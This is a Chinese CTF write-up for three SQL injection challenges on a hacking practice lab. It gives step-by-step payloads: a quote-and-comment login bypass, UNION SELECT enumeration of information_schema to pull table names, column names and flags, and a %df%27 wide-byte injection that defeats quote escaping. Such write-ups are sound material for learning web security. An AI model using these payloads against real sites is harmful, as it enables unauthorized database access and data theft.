【writeup】网安实验室hackinglab 注入类

原创

Oliver99877 于 2019-10-12 18:07:25 发布 259 收藏
分类专栏： web安全 sql注入 ctf靶场 文章标签： 网安实验室注入题

【题目1】

最简单的SQL注入

分值: 100

最简单的SQL注入

【思路】

本题未做任何防护，可以考虑在用户名处：1' or 1=1 -- 通过闭合单引号，然后注释掉后面原有的单引号来注入

密码随便填写即可

【题目2】

最简单的SQL注入(熟悉注入环境)

分值: 100

最简单的SQL注入

【思路】

1. index.php?id=1' 发现报错回显

2. ?id=1 and 1=1 页面正常

3. 通过order by 发现共有三个字段

4. index.php?id=1 union select 1, TABLE_NAME, 3 from information_schema.TABLES where TABLE_SCHEMA = database()

回显得知表名为 sae_user_sqli3

5. index.php?id=1 union select 1, COLUMN_NAME, 3 from information_schema.COLUMNS where TABLE_NAME = 'sae_user_sqli3' 回显得知 存在的三个字段 分别为 id, title, content

6. index.php?id=1 union select 1, content, 3 from sae_user_sqli3 拿到flag

【题目3】

防注入

分值: 300

小明终于知道，原来黑客如此的吊，还有sql注入这种高端技术，因此他开始学习防注入！

【思路】

1. index.php?id=1%df%27 发现页面回显报错，可能存在宽字节注入

2. index.php?id=1%df%27 order by 3 %23 有三个字段

3. 跟上一题一样，爆出表名，然后转成16进制

4. ?id=1%df%27 union select 1, group_concat(column_name), 2 from information_schema.COLUMNS where TABLE_NAME = 0x7361655f757365725f73716c6934 %23 爆出三个字段

5. ?id=1%df%27 union select 1, 2, content_1 from sae_user_sqli4 limit 2,1 %23 拿到flag